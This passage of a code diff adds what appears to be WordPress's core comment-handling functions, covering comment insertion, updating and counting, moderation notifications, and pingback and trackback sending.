+	$commentdata['comment_author_IP'] = apply_filters( 'pre_comment_user_ip', $commentdata['comment_author_IP'] );
+	/** This filter is documented in wp-includes/comment.php */
+	$commentdata['comment_author_url'] = apply_filters( 'pre_comment_author_url', $commentdata['comment_author_url'] );
+	/** This filter is documented in wp-includes/comment.php */
+	$commentdata['comment_author_email'] = apply_filters( 'pre_comment_author_email', $commentdata['comment_author_email'] );
+	$commentdata['filtered'] = true;
+	return $commentdata;
+}
+
+/**
+ * Whether a comment should be blocked because of comment flood.
+ *
+ * @since 2.1.0
+ *
+ * @param bool $block Whether plugin has already blocked comment.
+ * @param int $time_lastcomment Timestamp for last comment.
+ * @param int $time_newcomment Timestamp for new comment.
+ * @return bool Whether comment should be blocked.
+ */
+function wp_throttle_comment_flood($block, $time_lastcomment, $time_newcomment) {
+	if ( $block ) // a plugin has already blocked... we'll let that decision stand
+		return $block;
+	if ( ($time_newcomment - $time_lastcomment) < 15 )
+		return true;
+	return false;
+}
+
+/**
+ * Adds a new comment to the database.
+ *
+ * Filters new comment to ensure that the fields are sanitized and valid before
+ * inserting comment into database. Calls {@see 'comment_post'} action with comment ID
+ * and whether comment is approved by WordPress. Also has {@see 'preprocess_comment'}
+ * filter for processing the comment data before the function handles it.
+ *
+ * We use `REMOTE_ADDR` here directly. If you are behind a proxy, you should ensure
+ * that it is properly set, such as in wp-config.php, for your environment.
+ *
+ * See {@link https://core.trac.wordpress.org/ticket/9235}
+ *
+ * @since 1.5.0
+ * @since 4.3.0 'comment_agent' and 'comment_author_IP' can be set via `$commentdata`.
+ * @since 4.7.0 The `$avoid_die` parameter was added, allowing the function to
+ *              return a WP_Error object instead of dying.
+ *
+ * @see wp_insert_comment()
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array $commentdata {
+ *     Comment data.
+ *
+ *     @type string $comment_author       The name of the comment author.
+ *     @type string $comment_author_email The comment author email address.
+ *     @type string $comment_author_url   The comment author URL.
+ *     @type string $comment_content      The content of the comment.
+ *     @type string $comment_date         The date the comment was submitted. Default is the current time.
+ *     @type string $comment_date_gmt     The date the comment was submitted in the GMT timezone.
+ *                                        Default is `$comment_date` in the GMT timezone.
+ *     @type int    $comment_parent       The ID of this comment's parent, if any. Default 0.
+ *     @type int    $comment_post_ID      The ID of the post that relates to the comment.
+ *     @type int    $user_id              The ID of the user who submitted the comment. Default 0.
+ *     @type int    $user_ID              Kept for backward-compatibility. Use `$user_id` instead.
+ *     @type string $comment_agent        Comment author user agent. Default is the value of 'HTTP_USER_AGENT'
+ *                                        in the `$_SERVER` superglobal sent in the original request.
+ *     @type string $comment_author_IP    Comment author IP address in IPv4 format. Default is the value of
+ *                                        'REMOTE_ADDR' in the `$_SERVER` superglobal sent in the original request.
+ * }
+ * @param bool $avoid_die Should errors be returned as WP_Error objects instead of
+ *                        executing wp_die()? Default false.
+ * @return int|false|WP_Error The ID of the comment on success, false or WP_Error on failure.
+ */
+function wp_new_comment( $commentdata, $avoid_die = false ) {
+	global $wpdb;
+
+	if ( isset( $commentdata['user_ID'] ) ) {
+		$commentdata['user_id'] = $commentdata['user_ID'] = (int) $commentdata['user_ID'];
+	}
+
+	$prefiltered_user_id = ( isset( $commentdata['user_id'] ) ) ? (int) $commentdata['user_id'] : 0;
+
+	/**
+	 * Filters a comment's data before it is sanitized and inserted into the database.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $commentdata Comment data.
+	 */
+	$commentdata = apply_filters( 'preprocess_comment', $commentdata );
+
+	$commentdata['comment_post_ID'] = (int) $commentdata['comment_post_ID'];
+	if ( isset( $commentdata['user_ID'] ) && $prefiltered_user_id !== (int) $commentdata['user_ID'] ) {
+		$commentdata['user_id'] = $commentdata['user_ID'] = (int) $commentdata['user_ID'];
+	} elseif ( isset( $commentdata['user_id'] ) ) {
+		$commentdata['user_id'] = (int) $commentdata['user_id'];
+	}
+
+	$commentdata['comment_parent'] = isset($commentdata['comment_parent']) ? absint($commentdata['comment_parent']) : 0;
+	$parent_status = ( 0 < $commentdata['comment_parent'] ) ? wp_get_comment_status($commentdata['comment_parent']) : '';
+	$commentdata['comment_parent'] = ( 'approved' == $parent_status || 'unapproved' == $parent_status ) ? $commentdata['comment_parent'] : 0;
+
+	if ( ! isset( $commentdata['comment_author_IP'] ) ) {
+		$commentdata['comment_author_IP'] = $_SERVER['REMOTE_ADDR'];
+	}
+	$commentdata['comment_author_IP'] = preg_replace( '/[^0-9a-fA-F:., ]/', '', $commentdata['comment_author_IP'] );
+
+	if ( ! isset( $commentdata['comment_agent'] ) ) {
+		$commentdata['comment_agent'] = isset( $_SERVER['HTTP_USER_AGENT'] ) ? $_SERVER['HTTP_USER_AGENT']: '';
+	}
+	$commentdata['comment_agent'] = substr( $commentdata['comment_agent'], 0, 254 );
+
+	if ( empty( $commentdata['comment_date'] ) ) {
+		$commentdata['comment_date'] = current_time('mysql');
+	}
+
+	if ( empty( $commentdata['comment_date_gmt'] ) ) {
+		$commentdata['comment_date_gmt'] = current_time( 'mysql', 1 );
+	}
+
+	$commentdata = wp_filter_comment($commentdata);
+
+	$commentdata['comment_approved'] = wp_allow_comment( $commentdata, $avoid_die );
+	if ( is_wp_error( $commentdata['comment_approved'] ) ) {
+		return $commentdata['comment_approved'];
+	}
+
+	$comment_ID = wp_insert_comment($commentdata);
+	if ( ! $comment_ID ) {
+		$fields = array( 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content' );
+
+		foreach ( $fields as $field ) {
+			if ( isset( $commentdata[ $field ] ) ) {
+				$commentdata[ $field ] = $wpdb->strip_invalid_text_for_column( $wpdb->comments, $field, $commentdata[ $field ] );
+			}
+		}
+
+		$commentdata = wp_filter_comment( $commentdata );
+
+		$commentdata['comment_approved'] = wp_allow_comment( $commentdata, $avoid_die );
+		if ( is_wp_error( $commentdata['comment_approved'] ) ) {
+			return $commentdata['comment_approved'];
+		}
+
+		$comment_ID = wp_insert_comment( $commentdata );
+		if ( ! $comment_ID ) {
+			return false;
+		}
+	}
+
+	/**
+	 * Fires immediately after a comment is inserted into the database.
+	 *
+	 * @since 1.2.0
+	 * @since 4.5.0 The `$commentdata` parameter was added.
+	 *
+	 * @param int        $comment_ID       The comment ID.
+	 * @param int|string $comment_approved 1 if the comment is approved, 0 if not, 'spam' if spam.
+	 * @param array      $commentdata      Comment data.
+	 */
+	do_action( 'comment_post', $comment_ID, $commentdata['comment_approved'], $commentdata );
+
+	return $comment_ID;
+}
+
+/**
+ * Send a comment moderation notification to the comment moderator.
+ *
+ * @since 4.4.0
+ *
+ * @param int $comment_ID ID of the comment.
+ * @return bool True on success, false on failure.
+ */
+function wp_new_comment_notify_moderator( $comment_ID ) {
+	$comment = get_comment( $comment_ID );
+
+	// Only send notifications for pending comments.
+	$maybe_notify = ( '0' == $comment->comment_approved );
+
+	/** This filter is documented in wp-includes/comment.php */
+	$maybe_notify = apply_filters( 'notify_moderator', $maybe_notify, $comment_ID );
+
+	if ( ! $maybe_notify ) {
+		return false;
+	}
+
+	return wp_notify_moderator( $comment_ID );
+}
+
+/**
+ * Send a notification of a new comment to the post author.
+ *
+ * @since 4.4.0
+ *
+ * Uses the {@see 'notify_post_author'} filter to determine whether the post author
+ * should be notified when a new comment is added, overriding site setting.
+ *
+ * @param int $comment_ID Comment ID.
+ * @return bool True on success, false on failure.
+ */
+function wp_new_comment_notify_postauthor( $comment_ID ) {
+	$comment = get_comment( $comment_ID );
+
+	$maybe_notify = get_option( 'comments_notify' );
+
+	/**
+	 * Filters whether to send the post author new comment notification emails,
+	 * overriding the site setting.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param bool $maybe_notify Whether to notify the post author about the new comment.
+	 * @param int  $comment_ID   The ID of the comment for the notification.
+	 */
+	$maybe_notify = apply_filters( 'notify_post_author', $maybe_notify, $comment_ID );
+
+	/*
+	 * wp_notify_postauthor() checks if notifying the author of their own comment.
+	 * By default, it won't, but filters can override this.
+	 */
+	if ( ! $maybe_notify ) {
+		return false;
+	}
+
+	// Only send notifications for approved comments.
+	if ( ! isset( $comment->comment_approved ) || '1' != $comment->comment_approved ) {
+		return false;
+	}
+
+	return wp_notify_postauthor( $comment_ID );
+}
+
+/**
+ * Sets the status of a comment.
+ *
+ * The {@see 'wp_set_comment_status'} action is called after the comment is handled.
+ * If the comment status is not in the list, then false is returned.
+ *
+ * @since 1.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int|WP_Comment $comment_id     Comment ID or WP_Comment object.
+ * @param string         $comment_status New comment status, either 'hold', 'approve', 'spam', or 'trash'.
+ * @param bool           $wp_error       Whether to return a WP_Error object if there is a failure. Default is false.
+ * @return bool|WP_Error True on success, false or WP_Error on failure.
+ */
+function wp_set_comment_status($comment_id, $comment_status, $wp_error = false) {
+	global $wpdb;
+
+	switch ( $comment_status ) {
+		case 'hold':
+		case '0':
+			$status = '0';
+			break;
+		case 'approve':
+		case '1':
+			$status = '1';
+			add_action( 'wp_set_comment_status', 'wp_new_comment_notify_postauthor' );
+			break;
+		case 'spam':
+			$status = 'spam';
+			break;
+		case 'trash':
+			$status = 'trash';
+			break;
+		default:
+			return false;
+	}
+
+	$comment_old = clone get_comment($comment_id);
+
+	if ( !$wpdb->update( $wpdb->comments, array('comment_approved' => $status), array( 'comment_ID' => $comment_old->comment_ID ) ) ) {
+		if ( $wp_error )
+			return new WP_Error('db_update_error', __('Could not update comment status'), $wpdb->last_error);
+		else
+			return false;
+	}
+
+	clean_comment_cache( $comment_old->comment_ID );
+
+	$comment = get_comment( $comment_old->comment_ID );
+
+	/**
+	 * Fires immediately before transitioning a comment's status from one to another
+	 * in the database.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param int         $comment_id     Comment ID.
+	 * @param string|bool $comment_status Current comment status. Possible values include
+	 *                                    'hold', 'approve', 'spam', 'trash', or false.
+	 */
+	do_action( 'wp_set_comment_status', $comment->comment_ID, $comment_status );
+
+	wp_transition_comment_status($comment_status, $comment_old->comment_approved, $comment);
+
+	wp_update_comment_count($comment->comment_post_ID);
+
+	return true;
+}
+
+/**
+ * Updates an existing comment in the database.
+ *
+ * Filters the comment and makes sure certain fields are valid before updating.
+ *
+ * @since 2.0.0
+ * @since 4.9.0 Add updating comment meta during comment update.
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array $commentarr Contains information on the comment.
+ * @return int Comment was updated if value is 1, or was not updated if value is 0.
+ */
+function wp_update_comment($commentarr) {
+	global $wpdb;
+
+	// First, get all of the original fields
+	$comment = get_comment($commentarr['comment_ID'], ARRAY_A);
+	if ( empty( $comment ) ) {
+		return 0;
+	}
+
+	// Make sure that the comment post ID is valid (if specified).
+	if ( ! empty( $commentarr['comment_post_ID'] ) && ! get_post( $commentarr['comment_post_ID'] ) ) {
+		return 0;
+	}
+
+	$filter_comment = false;
+	if ( ! has_filter( 'pre_comment_content', 'wp_filter_kses' ) ) {
+		$filter_comment = ! user_can( isset( $comment['user_id'] ) ? $comment['user_id'] : 0, 'unfiltered_html' );
+	}
+
+	if ( $filter_comment ) {
+		add_filter( 'pre_comment_content', 'wp_filter_kses' );
+	}
+
+	// Escape data pulled from DB.
+	$comment = wp_slash($comment);
+
+	$old_status = $comment['comment_approved'];
+
+	// Merge old and new fields with new fields overwriting old ones.
+	$commentarr = array_merge($comment, $commentarr);
+
+	$commentarr = wp_filter_comment( $commentarr );
+
+	if ( $filter_comment ) {
+		remove_filter( 'pre_comment_content', 'wp_filter_kses' );
+	}
+
+	// Now extract the merged array.
+	$data = wp_unslash( $commentarr );
+
+	/**
+	 * Filters the comment content before it is updated in the database.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $comment_content The comment data.
+	 */
+	$data['comment_content'] = apply_filters( 'comment_save_pre', $data['comment_content'] );
+
+	$data['comment_date_gmt'] = get_gmt_from_date( $data['comment_date'] );
+
+	if ( ! isset( $data['comment_approved'] ) ) {
+		$data['comment_approved'] = 1;
+	} elseif ( 'hold' == $data['comment_approved'] ) {
+		$data['comment_approved'] = 0;
+	} elseif ( 'approve' == $data['comment_approved'] ) {
+		$data['comment_approved'] = 1;
+	}
+
+	$comment_ID = $data['comment_ID'];
+	$comment_post_ID = $data['comment_post_ID'];
+
+	/**
+	 * Filters the comment data immediately before it is updated in the database.
+	 *
+	 * Note: data being passed to the filter is already unslashed.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array $data       The new, processed comment data.
+	 * @param array $comment    The old, unslashed comment data.
+	 * @param array $commentarr The new, raw comment data.
+	 */
+	$data = apply_filters( 'wp_update_comment_data', $data, $comment, $commentarr );
+
+	$keys = array( 'comment_post_ID', 'comment_content', 'comment_author', 'comment_author_email', 'comment_approved', 'comment_karma', 'comment_author_url', 'comment_date', 'comment_date_gmt', 'comment_type', 'comment_parent', 'user_id', 'comment_agent', 'comment_author_IP' );
+	$data = wp_array_slice_assoc( $data, $keys );
+
+	$rval = $wpdb->update( $wpdb->comments, $data, compact( 'comment_ID' ) );
+
+	// If metadata is provided, store it.
+	if ( isset( $commentarr['comment_meta'] ) && is_array( $commentarr['comment_meta'] ) ) {
+		foreach ( $commentarr['comment_meta'] as $meta_key => $meta_value ) {
+			update_comment_meta( $comment_ID, $meta_key, $meta_value );
+		}
+	}
+
+	clean_comment_cache( $comment_ID );
+	wp_update_comment_count( $comment_post_ID );
+	/**
+	 * Fires immediately after a comment is updated in the database.
+	 *
+	 * The hook also fires immediately before comment status transition hooks are fired.
+	 *
+	 * @since 1.2.0
+	 * @since 4.6.0 Added the `$data` parameter.
+	 *
+	 * @param int   $comment_ID The comment ID.
+	 * @param array $data       Comment data.
+	 */
+	do_action( 'edit_comment', $comment_ID, $data );
+	$comment = get_comment($comment_ID);
+	wp_transition_comment_status($comment->comment_approved, $old_status, $comment);
+	return $rval;
+}
+
+/**
+ * Whether to defer comment counting.
+ *
+ * When setting $defer to true, all post comment counts will not be updated
+ * until $defer is set to false. When $defer is set to false, then all
+ * previously deferred updated post comment counts will then be automatically
+ * updated without having to call wp_update_comment_count() after.
+ *
+ * @since 2.5.0
+ * @staticvar bool $_defer
+ *
+ * @param bool $defer
+ * @return bool
+ */
+function wp_defer_comment_counting($defer=null) {
+	static $_defer = false;
+
+	if ( is_bool($defer) ) {
+		$_defer = $defer;
+		// flush any deferred counts
+		if ( !$defer )
+			wp_update_comment_count( null, true );
+	}
+
+	return $_defer;
+}
+
+/**
+ * Updates the comment count for post(s).
+ *
+ * When $do_deferred is false (is by default) and the comments have been set to
+ * be deferred, the post_id will be added to a queue, which will be updated at a
+ * later date and only updated once per post ID.
+ *
+ * If the comments have not be set up to be deferred, then the post will be
+ * updated. When $do_deferred is set to true, then all previous deferred post
+ * IDs will be updated along with the current $post_id.
+ *
+ * @since 2.1.0
+ * @see wp_update_comment_count_now() For what could cause a false return value
+ *
+ * @staticvar array $_deferred
+ *
+ * @param int|null $post_id     Post ID.
+ * @param bool     $do_deferred Optional. Whether to process previously deferred
+ *                              post comment counts. Default false.
+ * @return bool|void True on success, false on failure or if post with ID does
+ *                   not exist.
+ */
+function wp_update_comment_count($post_id, $do_deferred=false) {
+	static $_deferred = array();
+
+	if ( empty( $post_id ) && ! $do_deferred ) {
+		return false;
+	}
+
+	if ( $do_deferred ) {
+		$_deferred = array_unique($_deferred);
+		foreach ( $_deferred as $i => $_post_id ) {
+			wp_update_comment_count_now($_post_id);
+			unset( $_deferred[$i] ); /** @todo Move this outside of the foreach and reset $_deferred to an array instead */
+		}
+	}
+
+	if ( wp_defer_comment_counting() ) {
+		$_deferred[] = $post_id;
+		return true;
+	}
+	elseif ( $post_id ) {
+		return wp_update_comment_count_now($post_id);
+	}
+
+}
+
+/**
+ * Updates the comment count for the post.
+ *
+ * @since 2.5.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int $post_id Post ID
+ * @return bool True on success, false on '0' $post_id or if post with ID does not exist.
+ */
+function wp_update_comment_count_now($post_id) {
+	global $wpdb;
+	$post_id = (int) $post_id;
+	if ( !$post_id )
+		return false;
+
+	wp_cache_delete( 'comments-0', 'counts' );
+	wp_cache_delete( "comments-{$post_id}", 'counts' );
+
+	if ( !$post = get_post($post_id) )
+		return false;
+
+	$old = (int) $post->comment_count;
+
+	/**
+	 * Filters a post's comment count before it is updated in the database.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param int $new     The new comment count. Default null.
+	 * @param int $old     The old comment count.
+	 * @param int $post_id Post ID.
+	 */
+	$new = apply_filters( 'pre_wp_update_comment_count_now', null, $old, $post_id );
+
+	if ( is_null( $new ) ) {
+		$new = (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_approved = '1'", $post_id ) );
+	} else {
+		$new = (int) $new;
+	}
+
+	$wpdb->update( $wpdb->posts, array('comment_count' => $new), array('ID' => $post_id) );
+
+	clean_post_cache( $post );
+
+	/**
+	 * Fires immediately after a post's comment count is updated in the database.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int $post_id Post ID.
+	 * @param int $new     The new comment count.
+	 * @param int $old     The old comment count.
+	 */
+	do_action( 'wp_update_comment_count', $post_id, $new, $old );
+	/** This action is documented in wp-includes/post.php */
+	do_action( 'edit_post', $post_id, $post );
+
+	return true;
+}
+
+//
+// Ping and trackback functions.
+//
+
+/**
+ * Finds a pingback server URI based on the given URL.
+ *
+ * Checks the HTML for the rel="pingback" link and x-pingback headers. It does
+ * a check for the x-pingback headers first and returns that, if available. The
+ * check for the rel="pingback" has more overhead than just the header.
+ *
+ * @since 1.5.0
+ *
+ * @param string $url URL to ping.
+ * @param int $deprecated Not Used.
+ * @return false|string False on failure, string containing URI on success.
+ */
+function discover_pingback_server_uri( $url, $deprecated = '' ) {
+	if ( !empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '2.7.0' );
+
+	$pingback_str_dquote = 'rel="pingback"';
+	$pingback_str_squote = 'rel=\'pingback\'';
+
+	/** @todo Should use Filter Extension or custom preg_match instead. */
+	$parsed_url = parse_url($url);
+
+	if ( ! isset( $parsed_url['host'] ) ) // Not a URL. This should never happen.
+		return false;
+
+	//Do not search for a pingback server on our own uploads
+	$uploads_dir = wp_get_upload_dir();
+	if ( 0 === strpos($url, $uploads_dir['baseurl']) )
+		return false;
+
+	$response = wp_safe_remote_head( $url, array( 'timeout' => 2, 'httpversion' => '1.0' ) );
+
+	if ( is_wp_error( $response ) )
+		return false;
+
+	if ( wp_remote_retrieve_header( $response, 'x-pingback' ) )
+		return wp_remote_retrieve_header( $response, 'x-pingback' );
+
+	// Not an (x)html, sgml, or xml page, no use going further.
+	if ( preg_match('#(image|audio|video|model)/#is', wp_remote_retrieve_header( $response, 'content-type' )) )
+		return false;
+
+	// Now do a GET since we're going to look in the html headers (and we're sure it's not a binary file)
+	$response = wp_safe_remote_get( $url, array( 'timeout' => 2, 'httpversion' => '1.0' ) );
+
+	if ( is_wp_error( $response ) )
+		return false;
+
+	$contents = wp_remote_retrieve_body( $response );
+
+	$pingback_link_offset_dquote = strpos($contents, $pingback_str_dquote);
+	$pingback_link_offset_squote = strpos($contents, $pingback_str_squote);
+	if ( $pingback_link_offset_dquote || $pingback_link_offset_squote ) {
+		$quote = ($pingback_link_offset_dquote) ? '"' : '\'';
+		$pingback_link_offset = ($quote=='"') ? $pingback_link_offset_dquote : $pingback_link_offset_squote;
+		$pingback_href_pos = @strpos($contents, 'href=', $pingback_link_offset);
+		$pingback_href_start = $pingback_href_pos+6;
+		$pingback_href_end = @strpos($contents, $quote, $pingback_href_start);
+		$pingback_server_url_len = $pingback_href_end - $pingback_href_start;
+		$pingback_server_url = substr($contents, $pingback_href_start, $pingback_server_url_len);
+
+		// We may find rel="pingback" but an incomplete pingback URL
+		if ( $pingback_server_url_len > 0 ) { // We got it!
+			return $pingback_server_url;
+		}
+	}
+
+	return false;
+}
+
+/**
+ * Perform all pingbacks, enclosures, trackbacks, and send to pingback services.
+ *
+ * @since 2.1.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ */
+function do_all_pings() {
+	global $wpdb;
+
+	// Do pingbacks
+	while ($ping = $wpdb->get_row("SELECT ID, post_content, meta_id FROM {$wpdb->posts}, {$wpdb->postmeta} WHERE {$wpdb->posts}.ID = {$wpdb->postmeta}.post_id AND {$wpdb->postmeta}.meta_key = '_pingme' LIMIT 1")) {
+		delete_metadata_by_mid( 'post', $ping->meta_id );
+		pingback( $ping->post_content, $ping->ID );
+	}
+
+	// Do Enclosures
+	while ($enclosure = $wpdb->get_row("SELECT ID, post_content, meta_id FROM {$wpdb->posts}, {$wpdb->postmeta} WHERE {$wpdb->posts}.ID = {$wpdb->postmeta}.post_id AND {$wpdb->postmeta}.meta_key = '_encloseme' LIMIT 1")) {
+		delete_metadata_by_mid( 'post', $enclosure->meta_id );
+		do_enclose( $enclosure->post_content, $enclosure->ID );
+	}
+
+	// Do Trackbacks
+	$trackbacks = $wpdb->get_col("SELECT ID FROM $wpdb->posts WHERE to_ping <> '' AND post_status = 'publish'");
+	if ( is_array($trackbacks) )
+		foreach ( $trackbacks as $trackback )
+			do_trackbacks($trackback);
+
+	//Do Update Services/Generic Pings
+	generic_ping();
+}
+
+/**
+ * Perform trackbacks.
+ *
+ * @since 1.5.0
+ * @since 4.7.0 $post_id can be a WP_Post object.
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int|WP_Post $post_id Post object or ID to do trackbacks on.
+ */
+function do_trackbacks( $post_id ) {
+	global $wpdb;
+	$post = get_post( $post_id );
+	if ( ! $post ) {
+		return false;
+	}
+
+	$to_ping = get_to_ping( $post );
+	$pinged  = get_pung( $post );
+	if ( empty( $to_ping ) ) {
+		$wpdb->update($wpdb->posts, array( 'to_ping' => '' ), array( 'ID' => $post->ID ) );
+		return;
+	}
+
+	if ( empty($post->post_excerpt) ) {
+		/** This filter is documented in wp-includes/post-template.php */
+		$excerpt = apply_filters( 'the_content', $post->post_content, $post->ID );
+	} else {
+		/** This filter is documented in wp-includes/post-template.php */
+		$excerpt = apply_filters( 'the_excerpt', $post->post_excerpt );
+	}
+
+	$excerpt = str_replace(']]>', ']]&gt;', $excerpt);
+	$excerpt = wp_html_excerpt($excerpt, 252, '&#8230;');
+
+	/** This filter is documented in wp-includes/post-template.php */
+	$post_title = apply_filters( 'the_title', $post->post_title, $post->ID );
+	$post_title = strip_tags($post_title);
+
+	if ( $to_ping ) {
+		foreach ( (array) $to_ping as $tb_ping ) {
+			$tb_ping = trim($tb_ping);
+			if ( !in_array($tb_ping, $pinged) ) {
+				trackback( $tb_ping, $post_title, $excerpt, $post->ID );
+				$pinged[] = $tb_ping;
+			} else {
+				$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, %s,
+					'')) WHERE ID = %d", $tb_ping, $post->ID ) );
+			}
+		}
+	}
+}
+
+/**
+ * Sends pings to all of the ping site services.
+ *
+ * @since 1.2.0
+ *
+ * @param int $post_id Post ID.
+ * @return int Same as Post ID from parameter
+ */
+function generic_ping( $post_id = 0 ) {
+	$services = get_option('ping_sites');
+
+	$services = explode("\n", $services);
+	foreach ( (array) $services as $service ) {
+		$service = trim($service);
+		if ( '' != $service )
+			weblog_ping($service);
+	}
+
+	return $post_id;
+}
+
+/**
+ * Pings back the links found in a post.
+ *
+ * @since 0.71
+ * @since 4.7.0 $post_id can be a WP_Post object.
+ *
+ * @param string $content Post content to check for links. If empty will retrieve from post.
+ * @param int|WP_Post $post_id Post Object or ID.
+ */
+function pingback( $content, $post_id ) {
+	include_once( ABSPATH . WPINC . '/class-IXR.php' );
+	include_once( ABSPATH . WPINC . '/class-wp-http-ixr-client.php' );
+
+	// original code by Mort (http://mort.mine.nu:8080)
+	$post_links = array();
+
+	$post = get_post( $post_id );
+	if ( ! $post ) {
+		return;
+	}
+
+	$pung = get_pung( $post );
+
+	if ( empty( $content ) ) {
+		$content = $post->post_content;
+	}
+
+	// Step 1
+	// Parsing the post, external links (if any) are stored in the $post_links array
+	$post_links_temp = wp_extract_urls( $content );
+
+	// Step 2.
+	// Walking thru the links array
+	// first we get rid of links pointing to sites, not to specific files
+	// Example:
+	// http://dummy-weblog.org
+	// http://dummy-weblog.org/
+	// http://dummy-weblog.org/post.php
+	// We don't wanna ping first and second types, even if they have a valid <link/>
+
+	foreach ( (array) $post_links_temp as $link_test ) :
+		if ( ! in_array( $link_test, $pung ) && ( url_to_postid( $link_test ) != $post->ID ) // If we haven't pung it already and it isn't a link to itself
+				&& !is_local_attachment($link_test) ) : // Also, let's never ping local attachments.
+			if ( $test = @parse_url($link_test) ) {
+				if ( isset($test['query']) )
+					$post_links[] = $link_test;
+				elseif ( isset( $test['path'] ) && ( $test['path'] != '/' ) && ( $test['path'] != '' ) )
+					$post_links[] = $link_test;
+			}
+		endif;
+	endforeach;
+
+	$post_links = array_unique( $post_links );
+	/**
+	 * Fires just before pinging back links found in a post.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param array $post_links An array of post links to be checked (passed by reference).
+	 * @param array $pung       Whether a link has already been pinged (passed by reference).
+	 * @param int   $post_ID    The post ID.
+	 */
+	do_action_ref_array( 'pre_ping', array( &$post_links, &$pung, $post->ID ) );
+
+	foreach ( (array) $post_links as $pagelinkedto ) {
+		$pingback_server_url = discover_pingback_server_uri( $pagelinkedto );
+
+		if ( $pingback_server_url ) {
+			@ set_time_limit( 60 );
+			// Now, the RPC call
+			$pagelinkedfrom = get_permalink( $post );
+
+			// using a timeout of 3 seconds should be enough to cover slow servers
+			$client = new WP_HTTP_IXR_Client($pingback_server_url);
+			$client->timeout = 3;
+			/**
+			 * Filters the user agent sent when pinging-back a URL.
+			 *
+			 * @since 2.9.0
+			 *
+			 * @param string $concat_useragent    The user agent concatenated with ' -- WordPress/'
+			 *                                    and the WordPress version.
+			 * @param string $useragent           The useragent.
+			 * @param string $pingback_server_url The server URL being linked to.
+			 * @param string $pagelinkedto        URL of page linked to.
+			 * @param string $pagelinkedfrom      URL of page linked from.
+			 */
+			$client->useragent = apply_filters( 'pingback_useragent', $client->useragent . ' -- WordPress/' . get_bloginfo( 'version' ), $client->useragent, $pingback_server_url, $pagelinkedto, $pagelinkedfrom );
+			// when set to true, this outputs debug messages by itself
+			$client->debug = false;
+
+			if ( $client->query('pingback.ping', $pagelinkedfrom, $pagelinkedto) || ( isset($client->error->code) && 48 == $client->error->code ) ) // Already registered
+				add_ping( $post, $pagelinkedto );
+		}
+	}
+}
+
+/**
+ * Check whether blog is public before returning sites.
+ *
+ * @since 2.1.0
+ *
+ * @param mixed $sites Will return if blog is public, will not return if not public.
+ * @return mixed Empty string if blog is not public, returns $sites, if site is public.
+ */
+function privacy_ping_filter($sites) {
+	if ( '0' != get_option('blog_public') )
+		return $sites;
+	else
+		return '';
+}
+
+/**
+ * Send a Trackback.
+ *
+ * Updates database when sending trackback to prevent duplicates.
+ *
+ * @since 0.71
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $trackback_url URL to send trackbacks.
+ * @param string $title Title of post.
+ * @param string $excerpt Excerpt of post.
+ * @param int $ID Post ID.
+ * @return int|false|void Database query from update.
+ */
+function trackback($trackback_url, $title, $excerpt, $ID) {
+	global $wpdb;
+
+	if ( empty($trackback_url) )
+		return;
+
+	$options = array();
+	$options['timeout'] = 10;
+	$options['body'] = array(
+		'title' => $title,
+		'url' => get_permalink($ID),
+		'blog_name' => get_option('blogname'),
+		'excerpt' => $excerpt
+	);
+
+	$response = wp_safe_remote_post( $trackback_url, $options );
+
+	if ( is_wp_error( $response ) )
+		return;
+
+	$wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET pinged = CONCAT(pinged, '\n', %s) WHERE ID = %d", $trackback_url, $ID) );
+	return $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, %s, '')) WHERE ID = %d", $trackback_url, $ID) );
+}
+
+/**
+ * Send a pingback.
+ *
+ * @since 1.2.0
+ *
+ * @param string $server Host of blog to connect to.
+ * @param string $path Path to send the ping.
+ */
+function weblog_ping($server = '', $path = '') {
+	include_once( ABSPATH . WPINC . '/class-IXR.php' );
+	include_once( ABSPATH . WPINC . '/class-wp-http-ixr-client.php' );
+
+	// using a timeout of 3 seconds should be enough to cover slow servers
+	$client = new WP_HTTP_IXR_Client($server, ((!strlen(trim($path)) || ('/' == $path)) ? false : $path));
+	$client->timeout = 3;
+	$client->useragent .= ' -- WordPress/' . get_bloginfo( 'version' );
+
+	// when set to true, this outputs debug messages by itself
+	$client->debug = false;
+	$home = trailingslashit( home_url() );
+	if ( !$client->query('weblogUpdates.extendedPing', get_option('blogname'), $home, get_bloginfo('rss2_url') ) ) // then try a normal ping
+		$client->query('weblogUpdates.ping', get_option('blogname'), $home);
+}
+
+/**
+ * Default filter attached to pingback_ping_source_uri to validate the pingback's Source URI
+ *
+ * @since 3.5.1
+ * @see wp_http_validate_url()
+ *
+ * @param string $source_uri
+ * @return string
+ */
+function pingback_ping_source_uri( $source_uri ) {
+	return (string) wp_http_validate_url( $source_uri );
+}
+
+/**
+ * Default filter attached to xmlrpc_pingback_error.
+ *
+ * Returns a generic pingback error code unless the error code is 48,
+ * which reports that the pingback is already registered.
+ *
+ * @since 3.5.1
+ * @link https://www.hixie.ch/specs/pingback/pingback#TOC3
+ *
+ * @param IXR_Error $ixr_error
+ * @return IXR_Error
+ */
+function xmlrpc_pingback_error( $ixr_error ) {
+	if ( $ixr_error->code === 48 )
+		return $ixr_error;
+	return new IXR_Error( 0, '' );
+}
+
+//
+// Cache
+//
+
+/**
